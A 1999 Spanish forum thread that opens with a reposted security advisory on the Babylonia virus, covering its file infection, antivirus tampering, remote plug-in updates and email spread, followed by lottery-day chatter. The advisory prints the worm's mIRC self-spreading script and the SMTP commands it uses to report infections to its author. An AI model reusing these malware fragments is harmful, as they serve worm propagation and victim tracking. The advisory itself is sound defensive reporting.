| Ref: Vividor puesto el 22/12/99 2:58 |
| Acaba de salir a la luz "Babylonia", el primer virus del mundo capaz de autoactualizarse por Internet por medio de "plug-ins". Un agente infeccioso que, por si lo anterior fuera poco, reúne las habilidades de un i-worm en cuanto a su distribución, de un virus en cuanto a la infección de ficheros, y de un troyano de "backdoor" en lo que a las mencionadas actualizaciones se refiere. El origen de "Babylonia", que ha causado multitud de infecciones en sus primeras horas de difusión por la red, se remonta al grupo de noticias "alt.crackers", cuando el 3 de diciembre fue enviado como fichero adjunto, bajo el nombre "serialz.hlp", en un mensaje con el que se ofrecía a los asiduos una recopilación de 17000 números de serie para registrar de manera ilegal multitud de aplicaciones para Windows de carácter comercial. Lo que en realidad sucede al abrir este fichero de ayuda es que el virus "Babylonia" es ejecutado, y así, éste procede a infectar los ficheros EXE de formato PE (Portable Executable) y HLP (archivos de ayuda de Windows), siempre que la plataforma en la que se estén llevando a cabo estas acciones sea Windows95 o 98, ya que, debido a que parte del código vírico corre bajo "ring-0" (el anillo de prioridad máxima de ejecución) por medio de llamadas a la función API indocumentada "VxDCall", este espécimen restringe su campo de acción dejando fuera a aquellas máquinas que corren con WindowsNT. El responsable de "Babylonia" es un conocido escritor de virus de origen brasileño apodado "Vecna", ex-miembro de grupos como SGWW, de la ex-Unión Soviética, y de los españoles 29A. Este programador, cuya producción para Windows es probablemente la más extensa de un creador de virus independiente, ya dio que hablar tiempo atrás con especímenes tan complejos como "Inca" o "Cocaine", que hoy en día siguen ocupando puestos de relativa significación en las listas oficiales de virus "in the wild". Instalación ----------- Tanto desde aplicaciones de formato PE como desde ficheros HLP, el primer paso del virus consiste en obtener la dirección real de las APIs necesarias para su correcta ejecución, momento a partir del cual "Babylonia" procede a saltar a ring-0 para así, por medio de la redirección de los servicios IFS (acceso a disco) dedicados a la apertura, lectura o modificación de atributos y renombramiento de ficheros, infectar tantas aplicaciones como sea posible. Durante el proceso de instalación en memoria, el virus comprueba la presencia de los monitores antivirus "Spider" (DrWeb) y "AVP" y, en caso de encontrarse activos, intenta parchearlos de manera que les resulte imposible abrir ficheros susceptibles de ser escaneados. De acuerdo con Eugene Kaspersky, debido a un "bug" el virus es incapaz de dejar al "AVP Monitor" fuera de combate, de manera que acaba por desechar la instalación de su código en memoria. De manera paralela, "Babylonia" descomprime, por medio del método "apLib", una aplicación adicional contenida en su código, de 4k de longitud en total, cuyo código inyecta en un nuevo fichero que el virus crea en el directorio raíz con el nombre "BABYLONIA.EXE". Y es precisamente aquí donde radica la mayor particularidad de este espécimen, ya que éste es el componente que permite la instalación de los "plug-ins" víricos. Cuando este portador es ejecutado, su funcionamiento consiste en autorregistrarse como un proceso oculto, copiarse a sí mismo como "KERNEL32.EXE" en el directorio de sistema de Windows, y asegurarse, por medio de la inserción del nombre de esta copia en el registro de configuraciones, de ejecutarse y así mantenerse residente en memoria en cada arranque del ordenador. Propagación ----------- Una vez que "Babylonia" ha "aterrizado" en un ordenador, vemos que su proceso de propagación sigue dos caminos: por un lado, el de la infección de ejecutables y ficheros de ayuda en modo local, y por otro, la difusión por medio de Internet como fichero adjunto a los mensajes salientes de una máquina infectada. La infección de ejecutables afecta a todos los ficheros de formato PE y extensión EXE que son accedidos por medio de las funciones IFS anteriormente enumeradas cuando "Babylonia" se encuentra residente en memoria. Tras una serie de comprobaciones a partir de los datos que se pueden encontrar en la cabecera PE tales como el procesador bajo el cual está diseñada para funcionar la aplicación "víctima" o la existencia de atributos de DLL, el virus determina si el fichero debe ser infectado o no. El método empleado es el del "entry-point obscuring" (EPO), mediante el cual se examina el código del archivo a infectar en busca de una instrucción "call", la cual es parcheada para llamar directamente al código vírico, en lugar de modificar el punto de entrada original de la aplicación. Tras esto, el cuerpo del virus es "colgado" de la última sección del fichero, salvo en caso de que exista una sección con relocaciones, la cual pasaría a ser directamente sobreescrita, evitando así el crecimiento en bytes del tamaño de las aplicaciones infectadas. Por su parte, la infección de ficheros de ayuda afecta a todos los archivos de extensión "HLP". El método de infección es muy similar al del virus "WinHLP.Demo": por medio de un script polimórfico que el virus inserta en la sección "SYSTEM" y del uso indocumentado de la API "EnumWindows", "Babylonia" consigue que su código binario se ejecute cada vez que un fichero de ayuda es abierto a partir de la "aplicación madre" encargada de dicha tarea, "WINHELP.EXE". Ya por último, la propagación por e-mail presenta pocas novedades con respecto a la que ya hemos visto "gracias" a otros i-worms en este mismo servicio de noticias. Así, la misión del virus consiste en localizar el módulo "WSOCK32.DLL" y de parchear la API "send", con el objetivo de monitorizar todo lo que el usuario envía en sus conexiones a Internet. Cuando se trata de un e-mail, a diferencia de otros i-worms, "Babylonia" se limita a adjuntar simplemente una copia de su código, independientemente de si el mensaje saliente ya lleva originalmente algún "attach". Por si esto fuera poco, y con el fin de asegurarse la compatibilidad con cualquier cliente de correo, el virus dispone de sus propias rutinas de codificación para formato UUencode y MIME, una característica sin precedentes en los i-worms que conocemos hasta el momento. El nombre y el icono de los ficheros añadidos por "Babylonia" a los e-mails enviados por el usuario deberían ser distintos dependiendo de la fecha interna de cada ordenador, y así, su autor preparó una serie de iconos y nombres de fichero en función de las distintas celebraciones o festividades que tienen lugar a lo largo del año, tales como Navidades, Pascua o Halloween. Sin embargo, y de acuerdo con Eugene Kaspersky, debido a un "bug" el nombre siempre resulta ser "X-MAS.EXE", y el icono, una cara sonriente de Papá Noël, de manera que la identificación del virus en el momento de su llegada a nuestro ordenador se simplifica al máximo. Una vez que el fichero portador del virus es ejecutado, y como ya es costumbre entre la inmensa mayoría de los i-worms conocidos hasta el momento, la atención del usuario es desviada por medio de un par de cuadros de diálogo que advierten de un error que en realidad no ha tenido lugar. En el caso de "Babylonia", los mensajes son éstos, donde la "xx" del segundo es "95" o "NT", optando siempre por la alternativa que sea distinta a la versión del sistema operativo que posea el usuario que acaba de ejecutar el i-worm: Loader Error API not found! Loader Error Windows xx required! This program will be terminated. Actualización ------------- Sin duda, el aspecto más interesante y más peligroso de este virus radica en su capacidad de actualizarse por medio de Internet. De este modo, su autor puede añadir, quitar o cambiar cualquier rutina o habilidad de su virus, de manera remota, y así hacer que todas las copias de éste se actualicen e incorporen nuevas tecnologías, que podrían incluír, entre otras, la destrucción de datos de un ordenador infectado, haciendo que "Babylonia" funcionase como un mero intérprete de las órdenes de su autor. La técnica consiste en monitorizar la presencia de la aplicación "RNAAPP.EXE", correspondiente al acceso telefónico a redes, de manera que el virus se asegura de que el usuario está a punto de iniciar una conexión a Internet. A partir de aquí, "Babylonia" se dispone a contactar con "sok4ever.zone.ne.jp/vecna", dirección de la que descarga el fichero "virus.txt", que contiene la relación de "plug-ins" que el autor ha ido añadiendo de manera periódica para su proyecto. De acuerdo con la información manejada por HispaSec, "SOK4EVER" es la continuación de "Sources Of Kaos", un servidor de hospedaje gratuito para páginas web con contenidos relacionados con el mundo de los virus informáticos, que fue eliminado por el FBI tras el revuelo causado por la aparición del virus "Melissa". Según acabamos de comprobar, el propio webmaster de "SOK4EVER" ha decidido dar de baja de manera fulminante la cuenta del escritor brasileño Vecna, al percatarse del uso que éste estaba haciendo de su servidor por medio de "Babylonia", de manera que cualquier opción de éste de seguir actualizándose queda descartada de modo tajante, al serle imposible de ahora en adelante dar con la cuenta de su autor, a partir de la cual obtenía los "plug-ins" necesarios. En cualquier caso, en el momento en el que el virus fue descubierto se localizaron cuatro "plug-ins" que con toda probabilidad habrán sido activados en la inmensa mayoría de las máquinas infectadas por "Babylonia". De acuerdo con lo que hemos podido comprobar, estos ficheros poseen un simple formato, compuesto por una cabecera de identificación ("VMOD", que significaría Virus/Vecna MODule) y una referencia a la dirección de inicio de la rutina principal del código a incorporar al virus. Veamos cuál es el cometido de cada uno de estos "plug-ins" que el autor ha conseguido "lanzar". DROPPER.DAT: se limita a comprobar si, aún estando el actualizador vírico activo, "Babylonia" no ha infectado todavía el sistema en que se está ejecutando. En caso afirmativo, el virus procede a correr una aplicación de 17k llamada "INSTALAR.EXE", que activa el virus y se borra a sí misma tras haber sido ejecutada. IRC-WORM.DAT: convierte el virus en un gusano de mIRC con aspecto de parche "Y2K", tras localizar el conocido cliente de IRC en el disco duro de la máquina remota e insertar el siguiente código, por medio del cual se envía a todos los usuarios de un canal en el que se encuentre un usuario infectado: [script] n0=run $mircdir2kBug-MircFix.EXE n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt } n2= /dcc send $nick $mircdir2kbugfix.ini n3= /dcc send $nick $mircdir2kBug-MircFix.EXE n4=} POLL.DAT: envía al autor del virus un e-mail, de manera que éste pueda efectuar un seguimiento de las infecciones que su virus va produciendo a lo largo de Internet. Los comandos enviados por el puerto 25 (SMTP) son los siguientes: HELO rasta.net MAIL FROM: babylonia@rasta.net RCPT TO: babylonia_counter@hotmail.com [...] El cuerpo de los mensajes contiene una frase en portugués: "Quando o mestre chegara?", que significa "¿Cuándo llegará el maestro?", lo que nos hace pensar que el autor se preparaba algún "payload" poco agradable para un futuro no muy lejano y que, por suerte, no llegará a verse consumado. GREETZ.DAT: se limita a modificar el fichero "AUTOEXEC.BAT" con una serie de agradecimientos del autor a otros componentes de la escena vírica, incluyendo al webmaster de "SOK4EVER", quien, como ya hemos comentado, ha dado de baja al autor de "Babylonia" de su servidor. El texto añadido es el siguiente: echo W95/Babylonia by Vecna (c) 1999 echo Greetz to RoadKil and VirusBuster echo Big thankz to sok4ever webmaster echo Abracos pra galera brazuca!!! echo --- echo Eu boto fogo na Babilonia! Consejos -------- Volvemos a remitirnos a las ya clásicas recomendaciones de no abrir o ejecutar ningun archivo que no hayamos solicitado, aún si éste proviniese de fuentes de confianza. Asimismo, recordamos que deben descargar los parches "Y2K" desde las webs corporativas, según su aplicación o sistema. Por último, y no menos importante, se aconseja actualizar los ficheros de firma de los antivirus, especialmente durante estos meses, ya que la llegada del nuevo año parece ser el origen de una ola de nuevos especímenes por lo señalado de la fecha, y para aprovechar la confusión que está provocando el efecto 2000. Desde HispaSec vamos a realizar un seguimiento especial durante estas fechas, del que tendrán cuenta en los próximos días. Instamos a todos nuestros lectores a hacernos partícipes de cualquier infección de la que puedan ser víctimas, y a formar parte activamente del equipo de emergencia que estamos desplegando. Más información: AVP-ES http://www.avp-es.com/noticias/babylonia.html AVP (Karspersky Lab) http://www.kasperskylab.ru/eng/news/press/991207.html Computer Associates http://www.cai.com/press/1999/12/ca_warns_new_class_virus.htm Network Associates http://vil.nai.com/vil/vm10461.asp Panda Software http://www.pandasoftware.es/vernoticia.asp?noticia=505&idioma=1 Sophos http://www.sophos.com/virusinfo/analyses/w95babylonia.html Symantec http://www.sarc.com/avcenter/venc/data/w95.babylonia.html Trend Micro http://www.antivirus.com/vinfo/security/sa120799.htm FELIZ NAVIDAD |
| Ref: Toni puesto el 22/12/99 8:59 |
| ¡¡¡¡Pues empezamos bien la mañana!!!! |
| Ref: Toni puesto el 22/12/99 9:02 |
| De todas formas, y olvidandonos del "Megamensage virico", llegó el gran día en la que unos (pocos) cambian su vida y otros (toda la mayoria) seguimos igual que estabamos. Pues empleando un argot taurino os digo "QUE DIOS REPARTA SUERTE". |
| Ref: Toni puesto el 22/12/99 9:30 |
| Acaba de empezar el Sorteo de la Loteria de Navidad. |
| Ref: Vainilla puesto el 22/12/99 9:30 |
| :-)))))) Buenos días a tod@s. Que tengáis un buen día con lotería o sin ella. |
| Ref: PEPILLO (pensando) puesto el 22/12/99 9:37 |
| Pues no se qué es peor, si el virus o el aviso. |
| Ref: V puesto el 22/12/99 10:02 |
| ding,dong, ding.........el 5º ya salió señoras y señores..... |
| Ref: penelope puesto el 22/12/99 10:16 |
| Ref: penelope puesto el 22/12/99 10:17 |
| Buenos dias a todos, aquí en Las Palmas de G.C. cayó un quinto premio, buen comienzo... |
| Ref: V puesto el 22/12/99 10:22 |
| el 2º en Madridddddddd!!!!! qué emoción!!! buenos días Penélope |
| Ref: Toni puesto el 22/12/99 10:23 |
| Segundo Prémio, 17913 (144.000.000 pts.) en Madrid, |
| Ref: Toni a Penelope puesto el 22/12/99 10:25 |
| Hola Canariona, buenos dias. |
| Ref: Toni a Vainilla puesto el 22/12/99 10:26 |
| Eso de que no haya aparecido me huele a fuga a Suiza. |
| Ref: Toni a Vainilla puesto el 22/12/99 10:30 |
| ¿que, no dices nada? |
| Ref: Vainilla a Toni puesto el 22/12/99 10:40 |
| sip. Bueeeeeenos días encanto |
| Ref: Toni a Vainilla puesto el 22/12/99 10:48 |
| Osea que ¿nada de nada?, no pierdas la esperanza que todavia queda mucho sorteo. |
| Ref: Vainilla a Toni puesto el 22/12/99 10:53 |
| si te digo la verdad me estoy enterando del sorteo por mis queridos compañeros que me informan de vez en cuando; como me dijo alguien una vez "Salud y alegría es la mejor lotería". toma ya!!! jejeje.Y tú qué? Tengo entendido que el 5º ha caío en Barna, aunque no tengo ni idea de cuánto ha sío. |
| Ref: Alias puesto el 22/12/99 10:58 |
| Buenos y millonarios días !! |
| Ref: Vainilla a Alias puesto el 22/12/99 11:01 |
| osea que ya eres millonario!!!!! pues a ver cuándo te pasas por aquí y me invitas :-P. Buenos días para tí también. |
| Ref: Toni a Vainilla puesto el 22/12/99 11:02 |
| La verdad es que tienes razón con ese dicho, pero si encima nos toca algo, pues no me llevaría ningún disgusto, je,je,je, |
| Ref: penelope puesto el 22/12/99 11:06 |
| Alias: Espero que el día de hoy sea mejor que el de ayer, mi niño...
Buenos dias Vainilla, Toni |
| Ref: Vainilla a Toni puesto el 22/12/99 11:07 |
| toma....ni yo!!! jajajaja. ¿Qué tal la mañana? |
| Ref: Alias puesto el 22/12/99 11:10 |
| VAINILLA: no todavía no soy millonario... pero al tiempo :-Þ TONI: buenos días! PENELOPE: todos los hoys tendrían que ser mejor que los ayeres, ¿no te parece? :-) |
| Ref: Vainilla pensando puesto el 22/12/99 11:12 |
| pero qué profundo s'a levantao el nene hoy...jijiji |
| Ref: Toni a Penelope/Vainilla puesto el 22/12/99 11:13 |
| Hola, pues la mañana va tranquila en cuanto a trabajo, pues como ya ha acabado el curso no hay mucho movimiento, pero nerviosillo y esperanzado hasta que se acabe el sorteo, je,je,je, |
| Ref: Alias puesto el 22/12/99 11:13 |
| ...de momento, como ayer dejé todo para hoy, me encuentro con un montón de cosas para hacer, así que voy a empezar ahora mismo, os dejo por un rato... hasta luego! |
| Ref: penelope puesto el 22/12/99 11:14 |
| Propuesta: si a alguno le toca el gordo propongo invite a los webones a una cenita.. Alias: Que vas a comer hoy? recuerda bien los ingredientes durante la mañana para luego no tener complicaciones...jeje |
| Ref: Toni a Alias puesto el 22/12/99 11:17 |
| Hola muchacho, ojalá que fuese como dices y que los hoys siempre fuesen mejores que los ayeres. |
| Ref: Vainilla puesto el 22/12/99 11:33 |
| TONI: los hoys siempre son mejores que los ayeres, la prueba es que nunca son iguales ;-) PENELOPE: apoyo la moción!!!! ALIAS: hasta otro rato corazón PEPILLO: ya t'a tocao y has desaparecidoooo??!!!! |
| Ref: Vainilla puesto el 22/12/99 11:40 |
| parece ser que el tercero ya ha salido también |
| Ref: Jero puesto el 22/12/99 11:46 |
| Buenos días, algún weboncete millonario por aquí. FELIZ NAVIDAD. |
| Ref: PEPILLO a VAINILLA puesto el 22/12/99 11:48 |
| ¿Tocar? ... la Lotería no sé, pero la conexión sí me está tocando. Me está tocando los $&%$&%$. |
| Ref: Vainilla puesto el 22/12/99 11:57 |
| el gooooordo!!!!! en Elche. |
| Ref: Vainilla a PEPILLO puesto el 22/12/99 11:59 |
| zi ez ke tienez que tratarla con delicadeza ke si no se te rebela, jejeje |
| Ref: Jero puesto el 22/12/99 12:00 |
| El gordo a 20 km de mi y no me ha tocado, mala suerte. |
| Ref: Vainilla puesto el 22/12/99 12:06 |
| que no hay que deprimirse eh!!!! Buenos días Jero |
| Ref: Vainilla puesto el 22/12/99 12:12 |
| desconexión. Hasta luego. |
| Ref: Blue puesto el 22/12/99 12:41 |
| ¿Buenos dias?..¡Pregunto! |
| Ref: Blue/Jero puesto el 22/12/99 12:43 |
| ¡Tranquilo!¡Yo tengo un gordo encima de mi piso...¡y prefiero que no me toque! |
| Ref: Blue/Pepillo puesto el 22/12/99 12:44 |
| ¿Tendré que dejar el "Tupper" preparado para el próximo año? |
| Ref: Blue/Toni puesto el 22/12/99 12:46 |
| ¿Te llegó algo parecido a un oso cantador de villancicos rockeros?(Es que me parece que me lo envié a mí misma) |
| Ref: Blue/Miga puesto el 22/12/99 12:47 |
| ¡¡¡BUAAAAAA!!!!!¡¡BUAAAA!!!!¿Porqué me ignoras?¡Snif!¡Snif!...¡Vida cruel! |
| Ref: Blue/Menda puesto el 22/12/99 12:48 |
| ¿Y a tí que puñetas te pasa?...¿ONDESTAS?...(Otro que ya ni asoma) |
| Ref: Blue/Blue puesto el 22/12/99 12:49 |
| ¿No te cansas de monologuear?..¡Toma polabro...! |
| Ref: Blue/Blue puesto el 22/12/99 12:50 |
| ¡POPSIPS!..¡Cansome!... ¡Y PIROME!...¡Besotes!.¡Chao! |
| Ref: Alias puesto el 22/12/99 13:02 |
| Bueno, que pasa, aquí no hay nadie o que ? |
| Ref: karamazov puesto el 22/12/99 13:06 |
| Hola, alias, aquí 23 bajo cero, que tal por allí? Tal vez la lotería te deje sin compañeros |
| Ref: Vainilla puesto el 22/12/99 13:07 |
| asomo por un momento ¿estáis comprobando vuestras ganancias??? |
| Ref: Alias puesto el 22/12/99 13:08 |
| Hola Karamazov ! Pues ten cuidado, no te caiga un misil del Yeltsin... que ya no sabe que bombardea, y total, entre siberia y Chechenia sólo hay un par de decenas de miles de kilómetros de ná |
| Ref: PEPILLO a BLUE puesto el 22/12/99 13:09 |
| Eres la caraba. Apareces de Pascuas a Ramos, pones 8 mensajes en 10 minutos y luego los que parece que no saludamos somos los demás. |
| Ref: Alias puesto el 22/12/99 13:10 |
| VAINILLA: pues si, yo voy ganando 50.000... con las poquitas Indras que tenía... Ah! que estabas hablando de lotería :-Þ, pues no se, ¿hay algún sitio donde se pueda mirar por interness? |
| Ref: Vainilla puesto el 22/12/99 13:11 |
| asomo por un momento ALIAS: de nuevo.....en tu buzón ;-) KARAMAZOV: buenos días. ¿Qué tal hoY? |
| Ref: Vainilla a Alias puesto el 22/12/99 13:12 |
| prueba en el periódico el Mundo y en Terra (ha puesto una sección sobre el sorteo) |
| Ref: Vainilla puesto el 22/12/99 13:13 |
| y sigo asomando que mi jefe no está!!! |
| Ref: Alias puesto el 22/12/99 13:13 |
| VAINILLA: ¿me has enviado un emiliiito? que ilusión! estoy pasando de trabajar, me quedan un par de horitas.... y adios!! así que cualquier emilio será bien recibido |
| Ref: PEPILLO a ALIAS puesto el 22/12/99 13:13 |
| En la página de El mundo, www.el-mundo.es, hay una lista provisional de todos los números, cazados a oido ... ¡Manda webos! |
| Ref: karamazov puesto el 22/12/99 13:16 |
| Hola, Vai, hoy hace más frío que ayer, pero podemos comer el típico pescado crudo semicongelado, qeue como aperitivo entra bien, viene a ser como un polo de pescado. Tengo cerveza, y ayer no abrí el riojita. ¿Algo que celebrar? |
| Ref: Vainilla puesto el 22/12/99 13:18 |
| KARAMAZOV: pues nada, nada, acepto el aperitivo que tengo algo que celebrar pero podría ser acompañado de unas patatitas mejor que de pescado?? |
| Ref: karamazov puesto el 22/12/99 13:24 |
| Puede ser con patatitas ¿chips, fritas, a lo pobre, cachelitos con pulpo? Tengo un culillo de albariño |
| Ref: Alias puesto el 22/12/99 13:26 |
| Bueno pues de momento, nada más que vienen los premios gordos... si a mi lo más que me toca es una pedrada, digooo pedrea VAINILLA: esperaré impacientemente las 5 horas que me tardará en llegar tu correo... :-Þ (¿por que no me escribes otro para el camino?) |
| Ref: Alias puesto el 22/12/99 13:26 |
| KARAMAZOV: ¿pulpo, albariño? no si al final tu no vas a estar en Siberia como decías.... :-Þ |
| Ref: karamazov puesto el 22/12/99 13:29 |
| Amigo, tu no sabes los recursos de un gallego, incluso aquí. La ventaja que te da el orujo frente a la vodka te permite conseguir singulares amistades. |
| Ref: Alias puesto el 22/12/99 13:32 |
| KARAMAZOV: pues que sepas que tanto a VAINILLA como a mi nos encanta tu tierra, y su gastronomía y vinitos... tambien! |
| Ref: Vainilla puesto el 22/12/99 13:34 |
| Karamazov: que tienes un qué de qué???jajajajaja. Oyes, que he probado el albariño este puente allá en tu tierra y me ha gustado mucho así que... ALIAS: no tengas tanto morro querido mío ;-) |
| Ref: karamazov puesto el 22/12/99 13:36 |
| Da gusto que la gente vaya aprendiendo a apreciar lo bueno. Pero no empecemos a hablar de comida que me voy a la cocina. |
| Ref: karamazov puesto el 22/12/99 13:40 |
| Oye, que no hace falta irse a Galicia para tomarse un albariño, mírame a mí. Lo del pulpo ha sido más complicado. |
| Ref: Vainilla a Karamazov puesto el 22/12/99 13:42 |
| encanto, creo que al haber demostrado tus dotes culinarias deberíamos nombrarte el chef del webon. :-)))))) |
| Ref: Alias puesto el 22/12/99 13:42 |
| Bueno chicos me desconecto un rato, hasta luego!! |
| Ref: karamazov puesto el 22/12/99 13:47 |
| OLÉ! Señores, tengo visita, unas indígenas vienen a cenar! habrá que hacer la consabida tortilla de patata, que las enloquece. Vainilla, lo siento por el Cuné (siempre nos quedará la Vodka). Intentaré conectarme después, voy a pelar las kartoski. Saludos indiscriminados. |
| Ref: Vainilla puesto el 22/12/99 13:49 |
| pos vaya!!!. KARAMAZOV: hasta otro rato. Seguiré esperando el Cuné ALIAS: hasta luego |
| Ref: Vainilla pensando puesto el 22/12/99 13:57 |
| creo que me he quedado sola....y sin sugerencia hoy para el menú.... |
| Ref: Alias puesto el 22/12/99 14:20 |
| VAINILLA: creo que no te queda otro remedio que ponerte a escribirme un mail... cachis!! |
| Ref: Vainilla puesto el 22/12/99 14:28 |
| otro mail??? te parece bonito hacerme estrujar el cerebro de esa manera?? |
| Ref: Alias puesto el 22/12/99 14:29 |
| VAINILLA: pues si, ya que aún te queda cerebro... no como a otros :-Þ |
| Ref: Alias puesto el 22/12/99 14:31 |
| VAINILLA: es que on me ha llegado el otro todavía, a ver si así empujando con más mails, llegan antes :-Þ |
| Ref: puesto el 22/12/99 14:34 |
| me voy a comer!!!!! (a ver si así recupero el cerebrrrrro) :-P |
| Ref: Alias puesto el 22/12/99 14:40 |
| TODOS: pues ya no creo que me pase por aquí, hasta dentro de ... como mínimo 20 días o más, pero seguiré mirando el correo diariamente (o casi) así que ya sabeis... FELIZ NAVIDAD !!! FELIZ AÑO NUEVO !!! SED TODO LO FELICES QUE OS DEJEN... Y LO QUE NO OS DEJEN TAMBIEN :-Þ |
| Ref: a Alias puesto el 22/12/99 15:10 |
| creo haber cometido un fallo pero ya está solucionado. Hasta pronto, cuídate y que te lo pases muybien estas fiestas. |
| Ref: Alias puesto el 22/12/99 15:12 |
| ¿quien eres y que fallo es ese? |
| Ref: Alias puesto el 22/12/99 15:13 |
| vale, llegó, llegó... no te preocupes, después del shiquitito llegó el grande, y ahora la aclaracion. Besotes! |
| Ref: a Alias puesto el 22/12/99 15:14 |
| el gelatto!!!! ays!!! pero qué pronto nos olvidamos :-P |
| Ref: a Alias puesto el 22/12/99 15:15 |
| creo que he sido demasiado lenta en la respuesta...ahora a por el café. Con un dulce para ti, ya lo sé, no me lo digas ;-) |
| Ref: Alias puesto el 22/12/99 15:15 |
| ya me di cuenta :-Þ Estaba escribiendo la contestación a ese peassso de mail tuyo, lo mandé, vi tu mensaje jarrl en el webon, vi tu mail-respuesta y blablabal |
| Ref: puesto el 22/12/99 15:17 |
| eres Alias multitarea y yo m'estoy atragantando, :-D. Por si no te veo luego por aquí que tengas una buena siesta |
| Ref: Alias puesto el 22/12/99 15:23 |
| Hoy no estaré (mastica, mastica) tengo muchos papeleos pendientes, de momento estoy todavía contestando a tu mail-de-emergencia y en cuanto te lo mande me piraré... hoy de hecho estoy retrasando mi ida, con esto de los mails de última hora... pa'k't quejes!! ... Besotes!! |
| Ref: Alias puesto el 22/12/99 15:29 |
| PENELOPE: chacha! donde etttas? Que pases muy buenas fiestas! Feliz navidad y todo eso!! VAINILLA: emilio-respuesta enviado... (ya me puedo ir :-Þ) Alias cerrando el chiringuito.... |
| Ref: Toni puesto el 22/12/99 15:35 |
| Ç*:;¿?=&%$"·¡joder!, pues no vá y toca un quinto prémio en mi Facultat y todo el personal tiene loteria menos yo, esto si que es la ostia y la recontracollons delamdrequelosprioatodosjuntos. |
| Ref: Toni puesto el 22/12/99 15:58 |
| ¿es que os ha tocado la Loteria? |
| Ref: Ibai puesto el 22/12/99 16:14 |
| Hola a todos. Qué tal os va?? |
| Ref: HOLA puesto el 22/12/99 17:10 |
| Ref: Vainilla puesto el 22/12/99 17:19 |
| feliz tarde para tod@s!!! |
| Ref: Vainilla asomando... puesto el 22/12/99 18:12 |
| O O --- vaya, parece que todo el mundo está de celebración..... |
| Ref: karamazov puesto el 22/12/99 18:47 |
| UUUUUUUUUUUUEEEEEEEEEEEHHHHHHHHHNNNNOooo! Vaya, de nuevo aquí. ¿Alguien a la escucha? Tal vez fresa y nata? Vainilla, quizás? |
| Ref: Vainilla puesto el 22/12/99 19:19 |
| qué ganas tengo de irme..... |
| Ref: karamazov puesto el 22/12/99 19:23 |
| Podemos tratar de hacer agradables estos últimos momentos del (¿penúltimo?) día. ¿Saco el riojita? |
| Ref: Vainilla puesto el 22/12/99 19:25 |
| por supuesto!!! un vinito antes de salir al frío de la calle... qué tal la cena con las indígenas??, jejejej |
| Ref: karamazov puesto el 22/12/99 19:32 |
| ¿es legal el cotilleo? Son dos desconocidas del bar de debajo de la oficina. Una quería quedarse pero la otra no estaba convencida del todo. Supongo que las dos habrían sido demasiado, aunque ningún hombre lo reconocería, al menos a priori. El caso es que trajeron cerveza, y ahí está el Cuné, esperando ser degustado por tí. |
| Ref: karamazov puesto el 22/12/99 19:34 |
| Por otro lado, eran demasiado altas y delgadas. Eso sí, la tortilla (hoy, con cebollita), triunfó de nuevo, no así las lonchas de jamón que traigo al vacío ocultas en mi maleta |
| Ref: Vainilla puesto el 22/12/99 19:35 |
| jajaja, vaya, vaya, vaya....modestia aparte que te ha faltado decir :-P Y el rioja sin descorchar....a este paso se queda como vino añejo que siempre sabe mejor, jejeje. |
| Ref: Vainilla puesto el 22/12/99 19:37 |
| pero mister chef!! otra vez hablando de comida!!. Demasiado altas y delgadas??!!! la primera vez que lo oigo, jijijiji. |
| Ref: karamazov puesto el 22/12/99 19:41 |
| ¿Insinúas que no tengo esperanzas? Vainilla, dime que un día no lejano vendrás a tomar un vinito a mi cocina, que es de las de banco corrido, de carbón, calentita, y asaremos castañas en una sartén vieja llena de agujeros |
| Ref: Vainilla puesto el 22/12/99 19:50 |
| qué potito!!!..... |
| Ref: karamazov puesto el 22/12/99 19:51 |
| Dirás que con el tiempo que hace apetece salir de casa. Podemos subir a esquiar en añonuevo, que está vacío. Así me enseñas. |
| Ref: Vainilla puesto el 22/12/99 19:52 |
| lo malo es que, no te lo vas a creer, pero es cierto. No me gustan las castañas |
| Ref: Vainilla puesto el 22/12/99 19:58 |
| esquiar??? jajaja, creo que me tendrías que recoger varias veces de los trompazos que me iba a dar en la nieve.... Es hora de ir desapareciendo. Buenas noches Karamazov, que descanses. :* Felices sueños a todo el mundo |
| Ref: karamazov puesto el 22/12/99 19:58 |
| Vaya, esto sí es un problema. No sé hacer panchitos asados. Al menos te voy conociendo (ANOTAR: no le gustan las castañas). Pues habrá que pensar en hacer otra cosa en el banco corrido. |
| Ref: Bunbury puesto el 22/12/99 20:38 |
| Estoy hasta los cojones de la puta loteria,siempre toca a los gilipollas. |
| Ref: Bunbury puesto el 22/12/99 20:40 |
| Yo con 500000 pts era feliz,una guitarra electrica, una moto(aerox)y con eso me conformo. |
| Ref: karamazov puesto el 22/12/99 20:45 |
| Hola Bumbury, consuélate, es para todos lo mismo. ¿De qué manera crees que la cambia la vida a un gilipollas con 10 millones? La suerte ya está echada, si no eres feliz ahora ya no lo serás. A la mierda la lotería. |
| Ref: A Bumbury..... puesto el 22/12/99 23:35 |
| ....Pero son gilipollas con pelassssss |